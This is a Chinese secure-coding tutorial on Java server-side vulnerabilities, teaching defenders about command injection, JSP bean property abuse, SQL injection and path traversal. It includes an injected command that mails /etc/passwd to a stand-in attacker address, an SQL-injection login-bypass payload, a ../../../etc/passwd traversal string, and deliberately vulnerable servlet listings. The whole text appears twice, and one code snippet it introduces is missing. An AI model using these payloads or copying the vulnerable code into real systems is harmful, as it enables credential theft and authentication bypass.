主题:Java服务器端编程安全必读(下)
http://www.educity.cn 作者:佚名 来源:希赛教育
四、字符串解释执行
在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、多余的动作。下面的Perl代码就是一个例子:
$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");
显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以
按照如下方式调用:
perl script.pl honest@true.com
它将把一个邮件(即“mail body”)发送给用户honest@true.com。这个例子虽然简单,但我们却可以按照如下方式进行攻击:
perl script.pl honest@true.com;mail cheat@liarandthief.com < /etc/passwd
这个命令把一个空白邮件发送给honest@true.com,同时又把系统密码文件发送给了
cheat@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带来重大的威胁。
Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail API就是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");
事实上这是行不通的。Java一般不允许把OS级“<”和“;”之类的构造符号作为
Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");
但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规的Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例子,其他许多情形更复杂、更隐蔽。
让我们来考虑一下Java的映像 API(Reflection API)。Java映像API允许我们在运行时决定调用对象的哪一个方法。任何由用户输入命令作为映像查找条件的时机都可能成为系统的安全弱点。例如,下面的代码就有可能产生这类问题:
Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] {});
如果“action”的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在一些令人奇怪的地方出现——或许最令人奇怪的地方就是JSP。大多数JSP引擎用映像API实现下面的功能:
这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,对于Listing 3的Bean和Listing 4的JSP页面:
(Listing 3)
public class Example{
public void setName(String name) {
this.name = name; }
public String getName() { return name; }
public void setPassword(String pass) {
this. pass = pass; }
public String getPassword() { return
pass; }
private String name;
private String pass;
}
(Listing 4)
<%@ page import="Example" %>
<jsp:useBean id="example" scope="page"
class="Example" />
<jsp:setProperty name="example" property="*" />
<html>
<head>
<title>Bean示例</title>
</head>
<body>
<form>
<input type="text" name="name" size="30">
<input type="submit" value="Submit">
</form>
</html>
从表面上看,这些代码只允许用户访问example Bean的名字。然而,了解该系统的用户可以访问“http://whereever.com/example.jsp?name=Fred&password=hack”这种URL。这个URL既改变name属性,也改变password密码属性。当然,这应该不是页面编写者的意图,作者的意图是设计一个只允许用户访问名字属性的页面。因此,在使用时应该非常小心。字符串被解释执行的问题可能在允许嵌入脚本代码的任何环境中出现。例如,这类问题可能在Xalan(也称为LotusXSL)中出现,当然这是指系统设置不严格、易受攻击的情况下。
Xalan的脚本支持能够关闭(而且这是Xalan的默认设置),在敏感的应用中关闭脚本支持是一种明智的选择。当你需要用DOM处理XML文档时还必须考虑到另外一点:DOM保证所有文本都经过正确的转义处理,防止非法的标记插入到脚本之内。LotusXSL缺乏这个功能,但这绝不是一个BUG。支持脚本是LotusXSL的一个特色,而且它(明智地)默认处于关闭状态。XSL的W3C规范并没有规定支持脚本的能力。现在我们来看看字符串解释执行如何影响SQL和JDBC。假设我们要以用户名字和密码为条件搜索数据库中的用户,Listing 5的Servlet代码看起来不错,但事实上它却是危险的。
(Listing 5)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users WHERE
username="+user+" AND password="+pass;
Statement stmt = con.createStatement(query);
ResultSet rs = con.executeQuery(query);
if (rs.next())
{
// 登录成功
int id = rs.getInt(1);
...
}
else
{
// 登录失败
...
}
如果用户输入的查询条件中,用户名字等于“fred”,密码等于“something”,则系统执行的查询实际上是:
SELECT id FROM users WHERE
username='fred' AND password=
'something'
这个查询能够正确地对用户名字和密码进行检查。但是,如果用户输入的查询条件中,名字等于“fred' AND ('a'='b”,密码等于“blah') OR 'a'='a”,此时系统执行的查询变成了:
SELECT id FROM users
WHERE username='fred' AND ('a'='b' AND password='blah') OR 'a'='a'
可以看出,这个查询无法正确地对用户名字和密码进行检查。Listing 6的代码要安全得多,它从根本上防止了用户修改SQL命令逃避检查。
(Listing 6)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users
WHERE username=? AND password=?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, user);
stmt.setString(2, pass);
ResultSet rs = stmt.executeQuery();
所有对文件系统的访问都是字符串可能被解释执行的地方。用Java访问文件系统时,我们应该注意文件的命名方式。Listing 7是一个可能带来危险的例子。这个程序根据用户输入决定读取哪个文件,它的危险就在于攻击者能够输入“../../../etc/passwd”这样的文件名字并获得系统的密码文件。这可不是我们希望出现的事情。预防出现这种安全漏洞最简单的方法是:除非绝对需要,否则不要使用平面文件(Flat File)。
(Listing 7)
public class UnsafeServlet
{
public void doGet(HttpServletRequest request,
HttpServletResponse response)
{
String product = request.getAttribute("product");
Reader fin = new FileReader(
"/usr/unsafe/products/"+ product);
BufferedReader in = new BufferedReader(fin);
String cost = in.readLine();
// 其他处理过程
response.getWriter().println(cost);
}
}
大多数服务器系统,包括Servlet、JSP和EJB,都支持不直接依赖文件系统访问的配置方法。使用定制的SecurityManager或者使用一个简单的检查脚本(检查程序是否直接操作文件系统以及是否使用映像API),我们就可以实施“无文件系统直接访问”策略。尽管大多数应用服务器允许使用文件系统,但一个好的EJB不会使用它。
最后,请务必不要忘记保持数据充分分离、精确定义这一良好的编程习惯。假设我们有一个用来保存用户信息的数据库,现在需要增加一个字段标示用户是否具有超级用户权限。如果在原来的表中增加一个列实在过于复杂,采用下面这种方法就变得很有吸引力:在用户名字中加上一个特殊字符表示用户是否具有特殊权限,当用户登录时检查该特殊字符,以便防止非法用户宣称自己拥有特殊权限。但事实上,这种做法是非常有害的。所有的数据域,不管它是在数据库中还是作为局部变量,都应该精确定义且只保存一份信息。
五、基本原则总结
根据上述讨论,我们得到如下防止出现安全问题的基本原则:
1、 对于各个输入域,严格地定义系统可接受的合法输入字符,拒绝所有其他输入内容。
2、应该尽可能早地对用户输入进行检查,使得使用危险数据的区域减到最小。
3、 不要依赖浏览器端JavaScript进行安全检查(尽管对用户来说这是一种非常有用的功能
),所有已经在客户端进行的检查应该在服务器端再进行一次。
这些原则有助于消除大量的安全问题。本质上,在应用这一级上,URL和POST数据是用户和应用交互的唯一途径,所以我们的注意力应该集中在URL和用户输入数据的安全性上。
当然,简单地遵从本文的建议并不能够保证绝对的安全。你必须分析其他各方面的因素,包括网络的安全性以及你所用到的其他服务的安全性。每天都有新的安全漏洞被发现和修正。在系统足够安全、可以连接到Internet之前,请务必听取专家的建议;在正式提交源代码之前,一定要留意可能存在的漏洞。小心永不过份。
四、字符串解释执行
在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、多余的动作。下面的Perl代码就是一个例子:
$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");
显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以
按照如下方式调用:
perl script.pl honest@true.com
它将把一个邮件(即“mail body”)发送给用户honest@true.com。这个例子虽然简单,但我们却可以按照如下方式进行攻击:
perl script.pl honest@true.com;mail cheat@liarandthief.com < /etc/passwd
这个命令把一个空白邮件发送给honest@true.com,同时又把系统密码文件发送给了
cheat@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带来重大的威胁。
Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail API就是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");
事实上这是行不通的。Java一般不允许把OS级“<”和“;”之类的构造符号作为
Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");
但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规的Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例子,其他许多情形更复杂、更隐蔽。
让我们来考虑一下Java的映像 API(Reflection API)。Java映像API允许我们在运行时决定调用对象的哪一个方法。任何由用户输入命令作为映像查找条件的时机都可能成为系统的安全弱点。例如,下面的代码就有可能产生这类问题:
Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] {});
如果“action”的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在一些令人奇怪的地方出现——或许最令人奇怪的地方就是JSP。大多数JSP引擎用映像API实现下面的功能:
这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,对于Listing 3的Bean和Listing 4的JSP页面:
(Listing 3)
public class Example{
public void setName(String name) {
this.name = name; }
public String getName() { return name; }
public void setPassword(String pass) {
this. pass = pass; }
public String getPassword() { return
pass; }
private String name;
private String pass;
}
(Listing 4)
<%@ page import="Example" %>
<jsp:useBean id="example" scope="page"
class="Example" />
<jsp:setProperty name="example" property="*" />
<html>
<head>
<title>Bean示例</title>
</head>
<body>
<form>
<input type="text" name="name" size="30">
<input type="submit" value="Submit">
</form>
</html>
从表面上看,这些代码只允许用户访问example Bean的名字。然而,了解该系统的用户可以访问“http://whereever.com/example.jsp?name=Fred&password=hack”这种URL。这个URL既改变name属性,也改变password密码属性。当然,这应该不是页面编写者的意图,作者的意图是设计一个只允许用户访问名字属性的页面。因此,在使用时应该非常小心。字符串被解释执行的问题可能在允许嵌入脚本代码的任何环境中出现。例如,这类问题可能在Xalan(也称为LotusXSL)中出现,当然这是指系统设置不严格、易受攻击的情况下。
Xalan的脚本支持能够关闭(而且这是Xalan的默认设置),在敏感的应用中关闭脚本支持是一种明智的选择。当你需要用DOM处理XML文档时还必须考虑到另外一点:DOM保证所有文本都经过正确的转义处理,防止非法的标记插入到脚本之内。LotusXSL缺乏这个功能,但这绝不是一个BUG。支持脚本是LotusXSL的一个特色,而且它(明智地)默认处于关闭状态。XSL的W3C规范并没有规定支持脚本的能力。现在我们来看看字符串解释执行如何影响SQL和JDBC。假设我们要以用户名字和密码为条件搜索数据库中的用户,Listing 5的Servlet代码看起来不错,但事实上它却是危险的。
(Listing 5)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users WHERE
username="+user+" AND password="+pass;
Statement stmt = con.createStatement(query);
ResultSet rs = con.executeQuery(query);
if (rs.next())
{
// 登录成功
int id = rs.getInt(1);
...
}
else
{
// 登录失败
...
}
如果用户输入的查询条件中,用户名字等于“fred”,密码等于“something”,则系统执行的查询实际上是:
SELECT id FROM users WHERE
username='fred' AND password=
'something'
这个查询能够正确地对用户名字和密码进行检查。但是,如果用户输入的查询条件中,名字等于“fred' AND ('a'='b”,密码等于“blah') OR 'a'='a”,此时系统执行的查询变成了:
SELECT id FROM users
WHERE username='fred' AND ('a'='b' AND password='blah') OR 'a'='a'
可以看出,这个查询无法正确地对用户名字和密码进行检查。Listing 6的代码要安全得多,它从根本上防止了用户修改SQL命令逃避检查。
(Listing 6)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users
WHERE username=? AND password=?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, user);
stmt.setString(2, pass);
ResultSet rs = stmt.executeQuery();
所有对文件系统的访问都是字符串可能被解释执行的地方。用Java访问文件系统时,我们应该注意文件的命名方式。Listing 7是一个可能带来危险的例子。这个程序根据用户输入决定读取哪个文件,它的危险就在于攻击者能够输入“../../../etc/passwd”这样的文件名字并获得系统的密码文件。这可不是我们希望出现的事情。预防出现这种安全漏洞最简单的方法是:除非绝对需要,否则不要使用平面文件(Flat File)。
(Listing 7)
public class UnsafeServlet
{
public void doGet(HttpServletRequest request,
HttpServletResponse response)
{
String product = request.getAttribute("product");
Reader fin = new FileReader(
"/usr/unsafe/products/"+ product);
BufferedReader in = new BufferedReader(fin);
String cost = in.readLine();
// 其他处理过程
response.getWriter().println(cost);
}
}
大多数服务器系统,包括Servlet、JSP和EJB,都支持不直接依赖文件系统访问的配置方法。使用定制的SecurityManager或者使用一个简单的检查脚本(检查程序是否直接操作文件系统以及是否使用映像API),我们就可以实施“无文件系统直接访问”策略。尽管大多数应用服务器允许使用文件系统,但一个好的EJB不会使用它。
最后,请务必不要忘记保持数据充分分离、精确定义这一良好的编程习惯。假设我们有一个用来保存用户信息的数据库,现在需要增加一个字段标示用户是否具有超级用户权限。如果在原来的表中增加一个列实在过于复杂,采用下面这种方法就变得很有吸引力:在用户名字中加上一个特殊字符表示用户是否具有特殊权限,当用户登录时检查该特殊字符,以便防止非法用户宣称自己拥有特殊权限。但事实上,这种做法是非常有害的。所有的数据域,不管它是在数据库中还是作为局部变量,都应该精确定义且只保存一份信息。
五、基本原则总结
根据上述讨论,我们得到如下防止出现安全问题的基本原则:
1、 对于各个输入域,严格地定义系统可接受的合法输入字符,拒绝所有其他输入内容。
2、应该尽可能早地对用户输入进行检查,使得使用危险数据的区域减到最小。
3、 不要依赖浏览器端JavaScript进行安全检查(尽管对用户来说这是一种非常有用的功能
),所有已经在客户端进行的检查应该在服务器端再进行一次。
这些原则有助于消除大量的安全问题。本质上,在应用这一级上,URL和POST数据是用户和应用交互的唯一途径,所以我们的注意力应该集中在URL和用户输入数据的安全性上。
当然,简单地遵从本文的建议并不能够保证绝对的安全。你必须分析其他各方面的因素,包括网络的安全性以及你所用到的其他服务的安全性。每天都有新的安全漏洞被发现和修正。在系统足够安全、可以连接到Internet之前,请务必听取专家的建议;在正式提交源代码之前,一定要留意可能存在的漏洞。小心永不过份。